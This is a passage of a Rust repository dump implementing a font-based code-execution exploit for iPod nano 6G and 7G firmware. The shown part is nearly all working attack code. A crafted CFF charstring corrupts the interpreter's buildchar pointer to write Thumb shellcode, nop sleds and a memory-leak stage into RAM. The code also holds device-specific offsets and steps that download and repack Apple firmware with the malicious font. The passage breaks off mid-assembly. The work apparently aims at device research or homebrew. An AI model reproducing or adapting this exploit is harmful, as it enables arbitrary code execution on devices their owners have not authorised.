323 | if let Type1CharStringOp::EndChar = op { 324 | break; 325 | } 326 | } 327 | 328 | Ok((i, Self { ops })) 329 | } 330 | } 331 | -------------------------------------------------------------------------------- /src/exploit.rs: -------------------------------------------------------------------------------- 1 | use crate::cff::{CffFile, Type1CharString, Type1CharStringOp}; 2 | use crate::payload::code_exec::InitialCodeExecPayload; 3 | use crate::payload::exploit_config::ExploitConfig; 4 | use crate::payload::payload_builder::CffPayloadBuilder; 5 | use crate::payload::Payload; 6 | use anyhow::anyhow; 7 | use parse::ParseBytes; 8 | 9 | pub fn create_cff() -> anyhow::Result> { 10 | // Load and parse a base file 11 | let tmp = std::fs::read("Base.ttf")?; 12 | let (rest_of_tmp, file) = 13 | CffFile::parse(&tmp).map_err(|_| anyhow!("Failed to parse CFF file"))?; 14 | 15 | let mut file_copy = file.clone(); 16 | 17 | let mut c = Type1CharString { ops: Vec::new() }; 18 | 19 | { 20 | // Fill up the value stack 21 | for _ in 0..Cfg::PUSH_COUNT { 22 | c.ops.push(Type1CharStringOp::Push(1)); 23 | } 24 | 25 | // Swap the ptr for `zone` until it overwrites `buildchar` 26 | for _ in 0..Cfg::SWAP_COUNT { 27 | c.ops.push(Type1CharStringOp::Random); 28 | c.ops.push(Type1CharStringOp::Exch); 29 | } 30 | 31 | // Put something random into `len_buildchar`, now it's probably not 0 32 | c.ops.push(Type1CharStringOp::Random); 33 | 34 | // Drop back down so we can use push again 35 | for _ in 0..Cfg::DROP_COUNT { 36 | c.ops.push(Type1CharStringOp::Drop); 37 | } 38 | } 39 | 40 | let mut builder = CffPayloadBuilder { ops: &mut c.ops }; 41 | 42 | InitialCodeExecPayload::default().build_cff::(&mut builder); 43 | 44 | c.ops.push(Type1CharStringOp::EndChar); 45 | 46 | let mut cs = Vec::new(); 47 | c.write(&mut cs); 48 | file_copy.charstrings_idx.data[1] = cs; 49 | 50 | let mut tmp = Vec::new(); 51 | file_copy.write(&mut tmp); 52 | tmp.extend_from_slice(rest_of_tmp); 53 | 54 | Ok(tmp) 55 | 56 | // See cff_decoder_parse_charstrings for the contents 57 | } 58 | -------------------------------------------------------------------------------- /src/img1.rs: -------------------------------------------------------------------------------- 1 | use crate::Device; 2 | use parse::{le_u16, le_u32, ne_u8, take, take_n}; 3 | use tracing::trace; 4 | 5 | pub struct Img1 { 6 | head: Vec, 7 | pub body: Vec, 8 | pub padding: [u8; 940], 9 | pub cert: Vec, 10 | } 11 | 12 | impl Img1 { 13 | pub fn write(&self, out: &mut Vec) { 14 | out.extend_from_slice(&self.head); 15 | out.extend_from_slice(&self.padding); 16 | out.extend_from_slice(&self.body); 17 | out.extend_from_slice(&self.cert); 18 | } 19 | } 20 | 21 | pub fn img1_parse(orig_data: &[u8], device: &Device) -> Img1 { 22 | // Parse the header (84/0x54 bytes) 23 | let (b, magic) = take::<4>(orig_data); 24 | let (b, version) = take::<3>(b); 25 | let (b, format) = ne_u8(b); 26 | let (b, entrypoint) = le_u32(b); 27 | let (b, body_len) = le_u32(b); 28 | let (b, data_len) = le_u32(b); 29 | let (b, footer_cert_offset) = le_u32(b); 30 | let (b, footer_cert_len) = le_u32(b); 31 | let (b, _salt) = take::<32>(b); 32 | let (b, _unk1) = le_u16(b); 33 | let (b, _unk2) = le_u16(b); 34 | let (b, _header_sign) = take::<16>(b); 35 | let (b, _header_left_over) = take::<4>(b); 36 | 37 | trace!("Magic = {magic:?}"); 38 | trace!("Version = {version:?}"); 39 | trace!("Format = {format:?}"); 40 | trace!("Entrypoint = {entrypoint:?}"); 41 | trace!("Body length = {body_len:X}"); 42 | trace!("Data length = {data_len:X}"); 43 | trace!("Footer cert offset = {footer_cert_offset:X}"); 44 | trace!("Footer cert len = {footer_cert_len}"); 45 | 46 | // Read rest of padding, offset is now 0x600 47 | //TODO: this size changes based on magic 48 | // TODO: wiki says 0x600, iphone wiki say 0x800, file looks very 0x800 49 | // RSRC is 0x400 50 | const PADDING_SIZE: usize = 0x400/* 0x600*/ - 0x54; 51 | 52 | let (b, padding) = take::<{ PADDING_SIZE }>(b); 53 | 54 | // After the padding is the body 55 | let (b, body) = take_n(b, body_len as usize); 56 | 57 | let cert = match device { 58 | Device::Nano6 => Vec::new(), 59 | Device::Nano7Refresh => b.to_vec(), 60 | }; 61 | 62 | Img1 { 63 | head: orig_data[..0x54].to_vec(), 64 | padding, 65 | body: body.to_vec(), 66 | cert, 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused_macros)] 2 | #![allow(dead_code)] 3 | mod cff; 4 | mod exploit; 5 | mod img1; 6 | mod mse; 7 | mod payload; 8 | 9 | use crate::exploit::create_cff; 10 | use crate::payload::exploit_config::{ExploitConfigN6G, ExploitConfigN7G}; 11 | use anyhow::anyhow; 12 | use clap::{Parser, ValueEnum}; 13 | use isahc::ReadResponseExt; 14 | use std::io::{Cursor, Read}; 15 | use std::path::Path; 16 | use std::process::Command; 17 | use tracing::{info, Level}; 18 | use zip::ZipArchive; 19 | 20 | #[derive(Debug, ValueEnum, Copy, Clone)] 21 | pub enum Device { 22 | Nano6, 23 | Nano7Refresh, 24 | } 25 | 26 | /// Simple program to greet a person 27 | #[derive(Parser, Debug)] 28 | #[command(author, version, about, long_about = None)] 29 | struct Args { 30 | /// Which device to build a payload for 31 | #[arg(short, long)] 32 | device: Device, 33 | } 34 | 35 | fn main() -> anyhow::Result<()> { 36 | tracing_subscriber::fmt() 37 | .with_max_level(Level::DEBUG) 38 | .init(); 39 | 40 | let args = Args::parse(); 41 | 42 | // Generate exploit font 43 | info!("Building CFF exploit"); 44 | let bytes = match args.device { 45 | Device::Nano6 => create_cff::()?, 46 | Device::Nano7Refresh => create_cff::()?, 47 | }; 48 | 49 | std::fs::write("./in-cff.bin", bytes)?; 50 | 51 | info!("Converting font to OTF"); 52 | Command::new("python") 53 | .arg("./helpers/cff_to_otf.py") 54 | .status() 55 | .unwrap(); 56 | 57 | std::fs::remove_file("./in-cff.bin")?; 58 | let otf_bytes = std::fs::read("./out-otf.bin")?; 59 | std::fs::remove_file("./out-otf.bin")?; 60 | 61 | info!("Unpacking MSE"); 62 | let mut mse = if let Device::Nano6 = args.device { 63 | if !Path::new("./Firmware-36B10147.MSE").try_exists()? { 64 | let mut ipsw = isahc::get("http://appldnld.apple.com/iPod/SBML/osx/bundles/041-1920.20111004.CpeEw/iPod_1.2_36B10147.ipsw")?; 65 | let mut zip = ZipArchive::new(Cursor::new(ipsw.bytes().unwrap()))?; 66 | let mut mse = zip.by_name("Firmware.MSE")?; 67 | let mut out = Vec::new(); 68 | mse.read_to_end(&mut out)?; 69 | std::fs::write("./Firmware-36B10147.MSE", &out)?; 70 | } 71 | 72 | mse::unpack("./Firmware-36B10147.MSE", &args.device) 73 | } else { 74 | if !Path::new("./Firmware-39A10023.MSE").try_exists()? { 75 | let mut ipsw = isahc::get("http://appldnld.apple.com/ipod/sbml/osx/bundles/031-59796-20160525-8E6A5D46-21FF-11E6-89D1-C5D3662719FC/iPod_1.1.2_39A10023.ipsw")?; 76 | let mut zip = ZipArchive::new(Cursor::new(ipsw.bytes().unwrap()))?; 77 | let mut mse = zip.by_name("Firmware.MSE")?; 78 | let mut out = Vec::new(); 79 | mse.read_to_end(&mut out)?; 80 | std::fs::write("./Firmware-39A10023.MSE", &out)?; 81 | } 82 | 83 | mse::unpack("./Firmware-39A10023.MSE", &args.device) 84 | }; 85 | 86 | let rsrc = mse 87 | .sections 88 | .iter_mut() 89 | .find(|s| &s.name == b"crsr") 90 | .ok_or(anyhow!("Failed to find rsrc section in MSE"))?; 91 | { 92 | info!("Unpacking RSRC Img1"); 93 | let mut img1 = img1::img1_parse(&rsrc.body, &args.device); 94 | { 95 | info!("Patching FATFS"); 96 | std::fs::write("rsrc.bin", &img1.body)?; 97 | std::fs::write("in-otf.bin", otf_bytes)?; 98 | 99 | Command::new("python") 100 | .arg("./helpers/fat_patch.py") 101 | .status()?; 102 | 103 | let rsrc_data = std::fs::read("./rsrc.bin")?; 104 | std::fs::remove_file("./rsrc.bin")?; 105 | std::fs::remove_file("./in-otf.bin")?; 106 | img1.body = rsrc_data; 107 | } 108 | info!("Repacking RSRC Img1"); 109 | rsrc.body.clear(); 110 | img1.write(&mut rsrc.body); 111 | } 112 | 113 | info!("Repacking MSE"); 114 | let mut mse_out = Vec::new(); 115 | mse.write(&mut mse_out); 116 | 117 | // Disk swap 118 | info!("Doing disk swap"); 119 | 120 | if let Device::Nano6 = args.device { 121 | mse_out[0x5004..][..4].copy_from_slice(b"soso"); 122 | mse_out[0x5144..][..4].copy_from_slice(b"ksid"); 123 | } else { 124 | mse_out[0x5004..][..4].copy_from_slice(b"soso"); 125 | mse_out[0x5194..][..4].copy_from_slice(b"ksid"); 126 | } 127 | 128 | std::fs::write("./Firmware-repack.MSE", &mse_out)?; 129 | 130 | Ok(()) 131 | } 132 | -------------------------------------------------------------------------------- /src/mse.rs: -------------------------------------------------------------------------------- 1 | use crate::Device; 2 | use parse::{le_u32, take}; 3 | use tracing::trace; 4 | 5 | #[derive(Clone, Default, Debug)] 6 | pub struct MseSection { 7 | tag: [u8; 4], 8 | pub name: [u8; 4], 9 | 10 | _idk: u32, 11 | dev_offset: u32, 12 | length: u32, 13 | address: u32, 14 | entry_offset: u32, 15 | _idk2: u32, 16 | version: u32, 17 | load_addr: u32, 18 | 19 | head: Vec, 20 | pub body: Vec, 21 | } 22 | 23 | pub struct Mse { 24 | header: [u8; 0x5000], 25 | pub sections: Vec, 26 | } 27 | impl Mse { 28 | pub fn write(&self, file: &mut Vec) { 29 | file.extend_from_slice(&self.header); 30 | 31 | for sec in &self.sections { 32 | file.extend_from_slice(&sec.tag); 33 | file.extend_from_slice(&sec.name); 34 | file.extend_from_slice(&sec._idk.to_le_bytes()); 35 | file.extend_from_slice(&sec.dev_offset.to_le_bytes()); 36 | file.extend_from_slice(&sec.length.to_le_bytes()); 37 | file.extend_from_slice(&sec.address.to_le_bytes()); 38 | file.extend_from_slice(&sec.entry_offset.to_le_bytes()); 39 | file.extend_from_slice(&sec._idk2.to_le_bytes()); 40 | file.extend_from_slice(&sec.version.to_le_bytes()); 41 | file.extend_from_slice(&sec.load_addr.to_le_bytes()); 42 | } 43 | 44 | for _ in 0..(16 - self.sections.len()) { 45 | file.extend_from_slice(&[0x0; 36]); 46 | file.extend_from_slice(&[0xFF; 4]); 47 | } 48 | 49 | let mut sections = self.sections.clone(); 50 | sections.sort_by_key(|a| a.dev_offset); 51 | 52 | for sec in §ions { 53 | while (file.len() as u64) < sec.dev_offset as u64 { 54 | file.push(0); 55 | } 56 | 57 | file.extend_from_slice(&sec.head); 58 | file.extend_from_slice(&sec.body); 59 | } 60 | 61 | while file.len() % 0x1000 != 0 { 62 | file.push(0); 63 | } 64 | } 65 | } 66 | 67 | pub fn unpack(path: &str, device: &Device) -> Mse { 68 | let firm_data = std::fs::read(path).unwrap(); 69 | 70 | let (f, header) = take::<0x5000>(&firm_data); 71 | 72 | let mut i = f; 73 | 74 | let mut sections = Vec::new(); 75 | 76 | for _idx in 0..16 { 77 | let (f, tag) = take::<4>(i); 78 | 79 | if tag == [0, 0, 0, 0] { 80 | let (f, _) = take::<40>(i); 81 | i = f; 82 | continue; 83 | } 84 | 85 | let (f, name) = take::<4>(f); 86 | 87 | let (f, _idk) = le_u32(f); 88 | let (f, dev_offset) = le_u32(f); 89 | let (f, length) = le_u32(f); 90 | let (f, address) = le_u32(f); 91 | let (f, entry_offset) = le_u32(f); 92 | let (f, _idk2) = le_u32(f); 93 | let (f, version) = le_u32(f); 94 | let (_f, load_addr) = le_u32(f); 95 | 96 | trace!( 97 | "name = {:?}, len = {:x}, off={}, end={:x}, entry={:x}, address={:x}", 98 | String::from_utf8(name.to_vec()), 99 | length, 100 | dev_offset, 101 | dev_offset + length + 0x800, 102 | entry_offset, 103 | address 104 | ); 105 | 106 | let data_len = match device { 107 | Device::Nano6 => (length + 0x800) as usize, 108 | Device::Nano7Refresh => length as usize, 109 | }; 110 | 111 | let section_header = &firm_data[dev_offset as usize..][..0x1000]; 112 | let section_data = &firm_data[(dev_offset + 0x1000) as usize..]; 113 | let section_data = §ion_data[..data_len]; 114 | 115 | let sec = MseSection { 116 | tag, 117 | name, 118 | _idk, 119 | dev_offset, 120 | length, 121 | address, 122 | entry_offset, 123 | _idk2, 124 | version, 125 | load_addr, 126 | head: section_header.to_vec(), 127 | body: section_data.to_vec(), 128 | }; 129 | 130 | sections.push(sec); 131 | 132 | let (f, _) = take::<40>(i); 133 | i = f; 134 | } 135 | 136 | Mse { header, sections } 137 | } 138 | -------------------------------------------------------------------------------- /src/payload/binary_search.rs: -------------------------------------------------------------------------------- 1 | use capstone::{arch, Capstone}; 2 | use capstone::arch::BuildsCapstone; 3 | use crate::payload::{CffPayloadBuilder, Payload}; 4 | use crate::payload::exploit_config::ExploitConfig; 5 | 6 | #[derive(Default)] 7 | pub struct BinarySearchPayload {} 8 | 9 | impl Payload for BinarySearchPayload { 10 | fn build_cff(&self, b: &mut CffPayloadBuilder) { 11 | // Lets make sure we have lots of space 12 | // Not fully needed but should help with blind reliability 13 | b.index_write(Cfg::OFFSET_BUILDCHAR_LEN_PTR, i32::MAX as u32); 14 | 15 | // Set our write target to start of ram 16 | b.index_write(Cfg::OFFSET_BUILDCHAR_PTR, 0x0800_0000_u32); 17 | 18 | 19 | let mut tmp = Vec::new(); 20 | // 0x10 no hang 21 | // 0x100 hang 22 | 23 | // Nop sled 24 | for _ in 0..0x100 { 25 | tmp.extend_from_slice(&[0xc0, 0x46, 0xc0, 0x46] /* nop nop*/); 26 | } 27 | 28 | // Shellcode 29 | { 30 | use keystone_engine::Keystone; 31 | let engine = 32 | Keystone::new(Arch::ARM, Mode::THUMB).expect("Could not initialize Keystone engine"); 33 | 34 | // 1000-2000 (Hang) 35 | // 1500-2000 (Crash) 36 | // 1000-1500 (Hang) 37 | // 1300-1500 (Hang) 38 | // 1400-1500 (crash) 39 | // 1300-1410 (hang) 40 | // 1350-1400 (crash) 41 | 42 | // 1350-1410 (crash) 43 | // 1300-1354 (hang) 44 | // 1320-1354 (hang) 45 | // 1330-1354 (crash) 46 | // 1320-1334 (hang) 47 | // 132C-1334 (crash) 48 | // 1320-132c (hang) 49 | // 1320-1328 (hang) 50 | // 1320-1324 (hang) so its at 0x0800_1320 51 | const CODE: &'static str = r#" 52 | push {r1,r2,r3,r4} 53 | 54 | ldr r1, =0x08001320 55 | ldr r3, =0x6c707041 56 | ldr r4, =0x08001324 57 | 58 | _loop: 59 | ldr r2, [r1] 60 | subs r2, r2, r3 61 | beq hang 62 | adds r1, #4 63 | subs r2, r4, r1 64 | beq crash 65 | b _loop 66 | 67 | hang: 68 | b hang 69 | 70 | crash: 71 | pop {r1,r2,r3,r4} 72 | bx lr 73 | "#; 74 | 75 | let result = engine 76 | .asm(CODE.to_string(), 0) 77 | .expect("Could not assemble"); 78 | 79 | 80 | tmp.extend_from_slice(&result.bytes); 81 | 82 | for (i, x) in tmp.chunks(4).enumerate() { 83 | println!("{:08x} {:02x?}", 0x0800_0000 + i, x); 84 | } 85 | 86 | println!("----"); 87 | 88 | for (i, x) in result.bytes.chunks(4).enumerate() { 89 | println!("{:08x} {:02x?}", 0x0800_0000 + 0x400 + i * 4, x); 90 | } 91 | 92 | { 93 | let cs = Capstone::new() 94 | .arm() 95 | .mode(arch::arm::ArchMode::Thumb) 96 | .detail(true) 97 | .build() 98 | .expect("Failed to create Capstone object"); 99 | 100 | let insns = cs.disasm_all(&result.bytes, 0x1000) 101 | .expect("Failed to disassemble"); 102 | 103 | for i in insns.as_ref() { 104 | println!("{}", i); 105 | } 106 | } 107 | } 108 | 109 | 110 | for (idx, t) in tmp.chunks(4).enumerate() { 111 | let mut tmp = [0u8, 0, 0, 0]; 112 | tmp[..t.len()].copy_from_slice(t); 113 | 114 | b.index_write_array(idx as u16, tmp); 115 | } 116 | } 117 | } -------------------------------------------------------------------------------- /src/payload/binary_search_n7g.rs: -------------------------------------------------------------------------------- 1 | use capstone::{arch, Capstone}; 2 | use capstone::arch::BuildsCapstone; 3 | use crate::payload::{CffPayloadBuilder, Payload}; 4 | use crate::payload::exploit_config::ExploitConfig; 5 | 6 | #[derive(Default)] 7 | pub struct BinarySearch7gPayload {} 8 | 9 | impl Payload for BinarySearch7gPayload { 10 | fn build_cff(&self, b: &mut CffPayloadBuilder) { 11 | // Lets make sure we have lots of space 12 | // Not fully needed but should help with blind reliability 13 | b.index_write(Cfg::OFFSET_BUILDCHAR_LEN_PTR, i32::MAX as u32); 14 | 15 | // Set our write target to start of ram 16 | b.index_write(Cfg::OFFSET_BUILDCHAR_PTR, 0x0800_0000_u32); 17 | 18 | 19 | //What do we know: 20 | // - Appl exists @ 0xcfc8 21 | // - overwriting the place where we put our trampoline does nothing - odd 22 | // - Overwriting the first 0x1000 bytes - crash, wonder if the appl str is here 23 | // - Overwriting the first 0x800 bytes - nothing 24 | // Current memory understanding: 25 | // 0x0800_0000 - 0x0800_0030 = shellcode 26 | // 0x0800_0030 - 0x0800_cfc8 = no Appl 27 | // 0x0800_cfcc = Appl 28 | // 0x0800_cfd0 - 0x0802_0000 = no appl 29 | 30 | 31 | { 32 | // TODO: finish this when you have a non-bricked device 33 | // search for 0x1267 (shellcode is correct for code below), maybe can leak a few bytes that way 34 | 35 | { 36 | let mut tmp = Vec::new(); 37 | 38 | tmp.extend_from_slice( 39 | b"\x06\x49\x07\x4b\x07\x4c\x0a\x68\xd2\x1a\x03\xd0\x04\x31\x62\x1a\x01\xd0\xf8\xe7\xfe\xe7\x04\x48\x80\x47\x00\xbf\x50\x00\x00\x08\x67\x12\x00\x00\x00\xd0\x00\x08\x00\x00\x00\x08" 40 | 41 | ); 42 | 43 | //cf50 - d000 hang 44 | //cff0 - d000 crash 45 | //cf70 - d000 hang 46 | //cfa0 - d000 hang 47 | //cfa0 - cff0 hang 48 | //cfa0 - cfe0 hang 49 | //cfa0 - cfc0 crash 50 | //cfc0 - cfe0 hang 51 | //cfd0 - cfe0 crash 52 | //cfc8 - cfd0 hang 53 | //cfcc - cfd0 crash so its at 0x0800_cfc8 54 | 55 | /* 56 | ldr r1, =0x08000050 57 | ldr r3, =0x00001267 58 | ldr r4, =0x0c000000 59 | 60 | _loop: 61 | ldr r2, [r1] 62 | subs r2, r2, r3 63 | beq hang 64 | adds r1, #4 65 | subs r2, r4, r1 66 | beq crash 67 | b _loop 68 | 69 | hang: 70 | b hang 71 | 72 | crash: 73 | ldr r0, =0x08000000 74 | blx r0 75 | */ 76 | 77 | { 78 | let cs = Capstone::new() 79 | .arm() 80 | .mode(arch::arm::ArchMode::Thumb) 81 | .detail(true) 82 | .build() 83 | .expect("Failed to create Capstone object"); 84 | 85 | let insns = cs.disasm_all(&tmp, 0x1000) 86 | .expect("Failed to disassemble"); 87 | 88 | for i in insns.as_ref() { 89 | println!("{}", i); 90 | } 91 | } 92 | 93 | for (idx, t) in tmp.chunks(4).enumerate() { 94 | let mut tmp = [0u8, 0, 0, 0]; 95 | tmp[..t.len()].copy_from_slice(t); 96 | 97 | b.index_write_array(idx as u16, tmp); 98 | } 99 | } 100 | 101 | { 102 | let code = b"\x00\x49\x88\x47\x01\x00\x00\x08".to_vec(); 103 | 104 | let mut tmp = { 105 | let mut t = crate::cringestone::ThumbAsm::default(); 106 | //0-4000 nop + loop = crash 107 | //0-2000 nop + loop = crash 108 | //0-2000 loop = crash hmm 109 | for _ in 0..20 { 110 | t.nop(); 111 | } 112 | 113 | t.build() 114 | }; 115 | tmp.extend_from_slice(&code); 116 | 117 | for (idx, t) in tmp.chunks(4).enumerate() { 118 | let mut tmp = [0u8, 0, 0, 0]; 119 | tmp[..t.len()].copy_from_slice(t); 120 | 121 | b.index_write_array(idx as u16 + (0x820 + 32 + 100 + 50 + 25) / 4, tmp); 122 | } 123 | } 124 | } 125 | } 126 | } -------------------------------------------------------------------------------- /src/payload/code_exec.rs: -------------------------------------------------------------------------------- 1 | use crate::payload::exploit_config::ExploitConfig; 2 | use crate::payload::{CffPayloadBuilder, Payload}; 3 | use capstone::arch::BuildsCapstone; 4 | use capstone::{arch, Capstone}; 5 | use tracing::trace; 6 | 7 | #[derive(Default)] 8 | pub struct InitialCodeExecPayload {} 9 | 10 | impl Payload for InitialCodeExecPayload { 11 | fn build_cff(&self, b: &mut CffPayloadBuilder) { 12 | // Lets make sure we have lots of space 13 | // Not fully needed but should help with blind reliability 14 | b.index_write(Cfg::OFFSET_BUILDCHAR_LEN_PTR, i32::MAX as u32); 15 | 16 | // Set our write target to start of ram 17 | b.index_write(Cfg::OFFSET_BUILDCHAR_PTR, Cfg::BUILDCHAR_OVERWRITE_ADDR); 18 | 19 | let payload = std::fs::read("./scsi_shellcode/scsi-stub.bin").unwrap(); 20 | 21 | { 22 | let cs = Capstone::new() 23 | .arm() 24 | .mode(arch::arm::ArchMode::Thumb) 25 | .detail(true) 26 | .build() 27 | .expect("Failed to create Capstone object"); 28 | 29 | let insns = cs 30 | .disasm_all(&payload, Cfg::BUILDCHAR_OVERWRITE_ADDR as u64) 31 | .expect("Failed to disassemble"); 32 | 33 | for i in insns.as_ref() { 34 | trace!("{}", i); 35 | } 36 | } 37 | 38 | for (idx, t) in payload.chunks(4).enumerate() { 39 | let mut tmp = [0, 0, 0, 0]; 40 | tmp[..t.len()].copy_from_slice(t); 41 | 42 | b.index_write_array(idx as u16 + Cfg::BUILDCHAR_WRITE_OFFSET / 4, tmp); 43 | } 44 | 45 | // Just a bit of fun 46 | if Cfg::PATCH_MFG_STR { 47 | let s = b"CUB3D_PWN\0"; 48 | const S_BASE: u16 = 0x1320; 49 | 50 | for (idx, t) in s.chunks(4).enumerate() { 51 | let mut tmp = [0, 0, 0, 0]; 52 | tmp[..t.len()].copy_from_slice(t); 53 | 54 | b.index_write_array(idx as u16 + S_BASE / 4, tmp); 55 | } 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/payload/exploit_config.rs: -------------------------------------------------------------------------------- 1 | pub trait ExploitConfig { 2 | /// This offset will write to the buildchar len 3 | const OFFSET_BUILDCHAR_LEN_PTR: u16; 4 | 5 | /// This offset will write to the buildchar ptr itself 6 | const OFFSET_BUILDCHAR_PTR: u16; 7 | 8 | /// This offset will write to LR 9 | /// In n5g emu this should be 23 10 | const OFFSET_LR: u16; 11 | 12 | /// Number of elements to push onto the CFF stack before swapping 13 | const PUSH_COUNT: usize; 14 | 15 | /// Number of pointer swaps to do to overwrite buildchar 16 | const SWAP_COUNT: usize; 17 | 18 | /// How many times to drop back down 19 | const DROP_COUNT: usize; 20 | 21 | /// Should the manufacturer string be patched 22 | const PATCH_MFG_STR: bool; 23 | 24 | /// What to overwrite `buildchar` with 25 | const BUILDCHAR_OVERWRITE_ADDR: u32; 26 | 27 | /// What offset to use for writing to `buildchar` 28 | const BUILDCHAR_WRITE_OFFSET: u16; 29 | } 30 | 31 | pub struct ExploitConfigN6G; 32 | impl ExploitConfig for crate::payload::exploit_config::ExploitConfigN6G { 33 | const OFFSET_BUILDCHAR_LEN_PTR: u16 = 120; 34 | const OFFSET_BUILDCHAR_PTR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR - 1; 35 | const OFFSET_LR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR + 24; 36 | const PUSH_COUNT: usize = 43; 37 | const SWAP_COUNT: usize = 128; 38 | const DROP_COUNT: usize = Self::SWAP_COUNT + 17; 39 | const PATCH_MFG_STR: bool = true; 40 | const BUILDCHAR_OVERWRITE_ADDR: u32 = 0x0800_0000_u32; 41 | const BUILDCHAR_WRITE_OFFSET: u16 = 0x5024; 42 | } 43 | 44 | pub struct ExploitConfigN7G; 45 | impl ExploitConfig for ExploitConfigN7G { 46 | const OFFSET_BUILDCHAR_LEN_PTR: u16 = 120; 47 | const OFFSET_BUILDCHAR_PTR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR - 1; 48 | const OFFSET_LR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR + 24; 49 | const PUSH_COUNT: usize = 43; 50 | const SWAP_COUNT: usize = 128; 51 | const DROP_COUNT: usize = Self::SWAP_COUNT + 17; 52 | const PATCH_MFG_STR: bool = false; 53 | const BUILDCHAR_OVERWRITE_ADDR: u32 = 0x0819_c458_u32; 54 | const BUILDCHAR_WRITE_OFFSET: u16 = 0; 55 | } 56 | 57 | pub struct ExploitConfigN5GEmu; 58 | impl ExploitConfig for ExploitConfigN5GEmu { 59 | const OFFSET_BUILDCHAR_LEN_PTR: u16 = 120; 60 | const OFFSET_BUILDCHAR_PTR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR - 1; 61 | const OFFSET_LR: u16 = Self::OFFSET_BUILDCHAR_LEN_PTR + 23; 62 | const PUSH_COUNT: usize = 43; 63 | const SWAP_COUNT: usize = 128; 64 | const DROP_COUNT: usize = Self::SWAP_COUNT + 17; 65 | const PATCH_MFG_STR: bool = false; 66 | const BUILDCHAR_OVERWRITE_ADDR: u32 = 0x0800_0000_u32; 67 | const BUILDCHAR_WRITE_OFFSET: u16 = 0x5024; 68 | } 69 | -------------------------------------------------------------------------------- /src/payload/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod code_exec; 2 | pub mod exploit_config; 3 | pub mod payload_builder; 4 | //mod binary_search; 5 | //mod string_leak; 6 | 7 | use crate::payload::exploit_config::ExploitConfig; 8 | use crate::payload::payload_builder::CffPayloadBuilder; 9 | 10 | pub trait Payload { 11 | fn build_cff(&self, builder: &mut CffPayloadBuilder); 12 | } 13 | -------------------------------------------------------------------------------- /src/payload/payload_builder.rs: -------------------------------------------------------------------------------- 1 | use crate::cff::Type1CharStringOp; 2 | 3 | pub struct CffPayloadBuilder<'a> { 4 | pub ops: &'a mut Vec, 5 | } 6 | 7 | impl<'a> CffPayloadBuilder<'a> { 8 | pub fn index_write(&mut self, idx: u16, value: u32) { 9 | self.ops.push(Type1CharStringOp::Push(value)); 10 | self.ops.push(Type1CharStringOp::Push((idx as u32) << 16)); 11 | self.ops.push(Type1CharStringOp::Put); 12 | } 13 | 14 | pub fn index_write_array(&mut self, idx: u16, value: [u8; 4]) { 15 | self.ops 16 | .push(Type1CharStringOp::Push(u32::from_le_bytes(value))); 17 | self.ops.push(Type1CharStringOp::Push((idx as u32) << 16)); 18 | self.ops.push(Type1CharStringOp::Put); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/payload/string_leak.rs: -------------------------------------------------------------------------------- 1 | use capstone::{arch, Capstone}; 2 | use capstone::arch::BuildsCapstone; 3 | use crate::cringestone::ThumbAsm; 4 | use crate::payload::{CffPayloadBuilder, Payload}; 5 | use crate::payload::exploit_config::ExploitConfig; 6 | 7 | #[derive(Default)] 8 | pub struct StringLeakPayload {} 9 | 10 | impl Payload for InitialCodeExecPayload { 11 | fn build_cff(&self, b: &mut CffPayloadBuilder) { 12 | // Lets make sure we have lots of space 13 | // Not fully needed but should help with blind reliability 14 | b.index_write(Cfg::OFFSET_BUILDCHAR_LEN_PTR, i32::MAX as u32); 15 | 16 | // Set our write target to start of ram 17 | b.index_write(Cfg::OFFSET_BUILDCHAR_PTR, 0x0800_0000_u32); 18 | 19 | 20 | // Stage 2 21 | { 22 | let mut tmp = Vec::new(); 23 | 24 | use keystone_engine::Keystone; 25 | let engine = 26 | Keystone::new(Arch::ARM, Mode::THUMB).expect("Could not initialize Keystone engine"); 27 | 28 | const CODE: &'static str = r#" 29 | 30 | push {r2-r7, lr} 31 | ldr r2, data_byte_addr 32 | 33 | adr r5, counter 34 | ldr r4, [r5] 35 | adds r4, #1 36 | str r4, [r5] 37 | subs r4, #9 38 | bge leak 39 | b exit 40 | 41 | leak: 42 | eors r4, r4 43 | str r4, [r5] 44 | adr r5, tgt_addr 45 | 46 | ldr r6, [r5] @ get tgt addr 47 | ldrb r7, [r6] @ read byte from tgt 48 | 49 | @ Write data byte 50 | strb r7, [r2] 51 | 52 | @ Inc tgt addr 53 | adds r6, #1 54 | str r6, [r5] 55 | 56 | @ Check for null 57 | subs r7, #0 58 | beq exit 59 | 60 | @ Not null, write a second byte 61 | ldrb r7, [r6] @ read byte from tgt 62 | 63 | @ Write data byte 64 | adds r2, #1 65 | strb r7, [r2] 66 | 67 | @ Inc tgt addr 68 | adds r6, #1 69 | str r6, [r5] 70 | 71 | @ Check for null 72 | subs r7, #0 73 | beq exit 74 | 75 | @ Not null, write a third byte 76 | ldrb r7, [r6] @ read byte from tgt 77 | 78 | @ Write data byte 79 | adds r2, #1 80 | strb r7, [r2] 81 | 82 | @ Inc tgt addr 83 | adds r6, #1 84 | str r6, [r5] 85 | 86 | @ Check for null 87 | subs r7, #0 88 | beq exit 89 | 90 | @ Not null, write a forth byte 91 | ldrb r7, [r6] @ read byte from tgt 92 | 93 | @ Write data byte 94 | adds r2, #1 95 | strb r7, [r2] 96 | 97 | @ Inc tgt addr 98 | adds r6, #1 99 | str r6, [r5] 100 | 101 | @ Check for null 102 | subs r7, #0 103 | beq exit 104 | 105 | @ Not null, write a fifth byte 106 | ldrb r7, [r6] @ read byte from tgt 107 | 108 | @ Write data byte 109 | adds r2, #1 110 | strb r7, [r2] 111 | 112 | @ Inc tgt addr 113 | adds r6, #1 114 | str r6, [r5] 115 | 116 | @ Check for null 117 | subs r7, #0 118 | beq exit 119 | 120 | @ Not null, write a sixth byte 121 | ldrb r7, [r6] @ read byte from tgt 122 | 123 | @ Write data byte 124 | adds r2, #1 125 | strb r7, [r2] 126 | 127 | @ Inc tgt addr 128 | adds r6, #1 129 | str r6, [r5] 130 | 131 | @ Check for null 132 | subs r7, #0 133 | beq exit 134 | 135 | @ Not null, 